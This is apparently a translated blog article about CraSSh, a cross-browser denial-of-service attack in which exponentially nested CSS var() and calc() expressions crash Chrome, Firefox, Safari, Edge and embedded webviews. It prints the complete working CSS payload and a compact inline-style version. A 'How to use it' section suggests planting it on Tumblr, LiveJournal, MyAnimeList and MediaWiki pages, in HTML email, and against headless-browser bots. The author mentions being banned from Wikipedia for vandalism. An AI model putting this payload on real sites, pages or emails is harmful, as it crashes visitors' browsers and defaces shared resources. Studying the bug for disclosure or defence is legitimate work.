CraSSh: breaking all modern browsers with CSS calculations

Original author: Konstantin Safonov
  • Transfer
The author of the article: Konstantin Safonov.

I do not want to read this technical chatter. Just poured my browser already.

What is CraSSh

CraSSh - it is cross-browser purely declarative DoS-attack is based on the bad handling of nested CSS-features var()and calc()modern browsers.

CraSSh is valid in all major browsers on desktops and mobile devices:

  • On the WebKit / Blink engine - Chrome, Opera, Safari, even Samsung Internet on smart TVs and refrigerators.
    • Android WebView, iOS UIWebView are also affected, that is, you can crash any application with a built-in browser.
  • On the engine Gecko - Firefox and its fork, such as Tor Browser.
    • Servo did not start on any of my machines, so I did not test it.
  • On the EdgeHTML engine - Edge in Windows, WebView in UWP applications (does anyone use them at all?)

IE browser is not affected, because it does not support the functions on which the attack is based, but its users have many problems of their own (probably, this browser can be destroyed in other ways - note. Lane) .

How it works

CraSSh's idea is to force the browser to compute a CSS property with nested variable calls for exponential time and with huge memory usage.

The attack relies on three CSS functions:

Variables CSS ( custom properties and var () )

They allow you to declare: assign and read variables:

  --variable: 1px;
  /* declare some variable */height: var(--variable);
  /* read the previously declared variable */

Variables do not allow recursion (although there was a bug in the WebKit , which causes an infinite recursion) or cycles, but they can be defined as the

expression of calc ()

expressions calc () allow you to perform some basic arithmetic operations in the description of the rules, for example 'width: calc(50% - 10px)'.

calc()allows you to refer to variables and use multiple values ​​in one expression:

  --variable: 1px;
  /* declare a constant */height: calc(var(--variable) + var(--variable));
  /* access --variable twice */

This allows:

  • linearly increase the computation in each expression calc()by adding references to previous variables;
  • increase exponentially with each declaration of a variable with an expression calc()referring to other calculated variables:

  --variable-level-0: 1px;
  /* константа */
  --variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0));
  /* 2 вычисления константы */
  --variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1));
  /* 2 вызова предыдущей переменной, 4 вычисления константы *//*
    ... больше аналогичных объявлений
  */--variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1));
  /* 2 вызова предыдущей переменной, 2 ^ n вычислений константы */

It is as if it should be calculated in exponential time, but modern browsers are a bit smarter, so they usually calculate the values ​​of variables once, reducing the complexity to linear. The trick is that the caching of variable values ​​does not occur if it has a

heterogeneous value.

Technically, this is part of calc(), but it deserves a separate mention. A heterogeneous variable contains both absolute and relative units. It can not be:

  • calculated as an absolute value and shared by various applications for different elements, since it depends on the properties of the target element (units '%'/ 'em');
  • calculated as an absolute value in a single application, because in some cases it will lead to the accumulation of rounding errors causing strange sub-pixel offsets that break complex layouts (do you have 12 columns, each 1/12 of the screen width? No luck, buddy, they will gather in a new row or leave a clumsy gap at the end).

Thus, this value is recalculated every time:

.non_cached {
  --const: calc(50% +  10px);
  /* остаётся (50% +  10px) */--variable: calc(var(--const) + var(--const));
  /* по-прежнему не вычисляется актуальное значение */width: var(--variable);
  /* всё вычисляется здесь */

As for the second point, most browsers simply embed nested variables with a heterogeneous value in one expression to avoid rounding errors:

.mixed {
  --mixed:calc(1% + 1px);
  /* разнородная константа                   */--mixed-reference: calc(var(--mixed) + var(--mixed));
  /* переменная со ссылкой на константу      */--mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px);
  /* предыдущая переменная после встраивания */--mixed-reference-computes-as: calc(2% + 2px);
  /* сокращённое представление, которое позже будет вычислено как абсолютное значение */

Imagine that there are millions (or billions) of elements in the expression ... The CSS engine is trying to allocate several gigabytes of RAM, shorten the expression, add event handlers so that the properties can be recalculated when something changes. In the end, it happens at a certain stage.

So, the original CraSSh looked:

.crassh {
  --initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm);
  /* разнородная константа */
  --level-1: calc(var(--initial-level-0) + var(--initial-level-0));
  /* 2 вычисления          */
  --level-2: calc(var(--level-1) + var(--level-1));
  /* 4 вычисления          */
  --level-3: calc(var(--level-2) + var(--level-2));
  /* 8 вычислений          */
  --level-4: calc(var(--level-3) + var(--level-3));
  /* 16 вычислений         */
  --level-5: calc(var(--level-4) + var(--level-4));
  /* 32 вычисления         */
  --level-6: calc(var(--level-5) + var(--level-5));
  /* 64 вычисления         */
  --level-7: calc(var(--level-6) + var(--level-6));
  /* 128 вычислений        */
  --level-8: calc(var(--level-7) + var(--level-7));
  /* 256 вычислений        */
  --level-9: calc(var(--level-8) + var(--level-8));
  /* 512 вычислений        */
  --level-10: calc(var(--level-9) + var(--level-9));
  /* 1024 вычисления       */
  --level-11: calc(var(--level-10) + var(--level-10));
  /* 2048 вычислений       */
  --level-12: calc(var(--level-11) + var(--level-11));
  /* 4096 вычислений       */
  --level-13: calc(var(--level-12) + var(--level-12));
  /* 8192 вычисления       */
  --level-14: calc(var(--level-13) + var(--level-13));
  /* 16384 вычисления      */
  --level-15: calc(var(--level-14) + var(--level-14));
  /* 32768 вычислений      */
  --level-16: calc(var(--level-15) + var(--level-15));
  /* 65536 вычислений      */
  --level-17: calc(var(--level-16) + var(--level-16));
  /* 131072 вычисления     */
  --level-18: calc(var(--level-17) + var(--level-17));
  /* 262144 вычисления     */
  --level-19: calc(var(--level-18) + var(--level-18));
  /* 524288 вычислений     */
  --level-20: calc(var(--level-19) + var(--level-19));
  /* 1048576 вычислений    */
  --level-21: calc(var(--level-20) + var(--level-20));
  /* 2097152 вычисления    */
  --level-22: calc(var(--level-21) + var(--level-21));
  /* 4194304 вычисления    */
  --level-23: calc(var(--level-22) + var(--level-22));
  /* 8388608 вычислений    */
  --level-24: calc(var(--level-23) + var(--level-23));
  /* 16777216 вычислений   */
  --level-25: calc(var(--level-24) + var(--level-24));
  /* 33554432 вычисления   */
  --level-26: calc(var(--level-25) + var(--level-25));
  /* 67108864 вычисления   */
  --level-27: calc(var(--level-26) + var(--level-26));
  /* 134217728 вычислений  */
  --level-28: calc(var(--level-27) + var(--level-27));
  /* 268435456 вычислений  */
  --level-29: calc(var(--level-28) + var(--level-28));
  /* 536870912 вычисления  */
  --level-30: calc(var(--level-29) + var(--level-29));
  /* 1073741824 вычисления */--level-final: calc(var(--level-30) + 1px);
  /* 1073741824 вычисления *//* ^ на некоторых движках это не вычисляется автоматически -> нужно их где-то использовать             */border-width: var(--level-final);  /* <- применяем рассчитанное значение   *//* некоторые движки могут пропустить border-width, если нет style (= пропущено ) */border-style: solid;

Если вы это видите, ваш браузер не поддерживает современный CSS или разработчики исправили ошибку CraSSh

But the built-in version is less than 1000 characters (MediaWiki for the demonstration).

<divstyle="--a:1px;--b:calc(var(--a) + var(--a));--c:calc(var(--b) + var(--b));--d:calc(var(--c) + var(--c));--e:calc(var(--d) + var(--d));--f:calc(var(--e) + var(--e));--g:calc(var(--f) + var(--f));--h:calc(var(--g) + var(--g));--i:calc(var(--h) + var(--h));--j:calc(var(--i) + var(--i));--k:calc(var(--j) + var(--j));--l:calc(var(--k) + var(--k));--m:calc(var(--l) + var(--l));--n:calc(var(--m) + var(--m));--o:calc(var(--n) + var(--n));--p:calc(var(--o) + var(--o));--q:calc(var(--p) + var(--p));--r:calc(var(--q) + var(--q));--s:calc(var(--r) + var(--r));--t:calc(var(--s) + var(--s));--u:calc(var(--t) + var(--t));--v:calc(var(--u) + var(--u));--w:calc(var(--v) + var(--v));--x:calc(var(--w) + var(--w));--y:calc(var(--x) + var(--x));--z:calc(var(--y) + var(--y));--vf:calc(var(--z) + 1px);border-width:var(--vf);border-style:solid;">CraSSh</div>

How to use it

In addition to driving users away from their own website or blog on a platform that gives full access to HTML, like Tumblr ( an example of a browser crash ) or LiveJournal ( an example of a browser crash ), CraSSh allows you to:

  • Break the UI on those pages of the site that are under your control and allow you to define arbitrary CSS, even without providing HTML templates. I managed to break MyAnimeList ( an example of a browser crash ). Reddit is not susceptible to this attack, because their parser does not support CSS variables.
  • Break UI on public write access pages that allow you to embed some HTML tags with inline styles. On Wikipedia, my account was banned for vandalism, although I posted an example with a browser crash on a personal page. The attack affects most MediaWiki-based projects. In principle, a broken page can no longer be restored via UI.
  • Cause HTML-enabled Email Clients

    • This is quite difficult, because email clients remove / reduce HTML and usually do not support modern CSS features that CraSSh uses.
    • CraSSh works in

      • Samsung Mail for Android
    • CraSSh does not work in

      • Outlook (web)
      • Gmail (web)
      • Gmail (Android)
      • Yahoo (web)
      • Yandex (web)
      • Protonmail (web)
      • Zimbra (web, standalone installation)
      • Windows Mail (Windows, obviously)
    • Must work in

      • Outlook for Mac (using Webkit internally)
    • Others have not tested.
  • I just had a sick idea that CraSSh can be used against CEF / PhantomJS based bots. The attacked site can embed the CraSSh code with headers ( like here ), and not show the usual 403 error. IIRC, errors are handled differently in embedded engines, therefore

    • this is likely to cause the bot to crash (no one expects the stack to overflow or something in the headless browser)
    • it is very difficult to debug, since it is not even displayed in the body of the response, which is likely to fall into the logs

Why is it done

  • Remember that post of Linus?

    It seems that the IT security world has reached a new bottom.

    If you work in safety and think that you have a conscience, it seems to me, you can write:

    “No, really, I'm not a whore. Honestly honest "

    on your business card. I used to think that the whole industry was rotten, but this is getting ridiculous.

    At what point do security people admit that they like to attract attention?

    I went even further, and already made a whole site dedicated to a simple bug, because the pleasure of working until 4 am and the attention to the results achieved are the few things that keep me from depression and diving on this nice sidewalk in front of the office.
  • In addition, I hate the front end, which is part of my job as a fullstack developer, and such things help to relax a bit.

Similar things

Now I am involved in an amazing project, which we will discuss later. Follow the news on Twitter .

Special thanks to

Also popular now: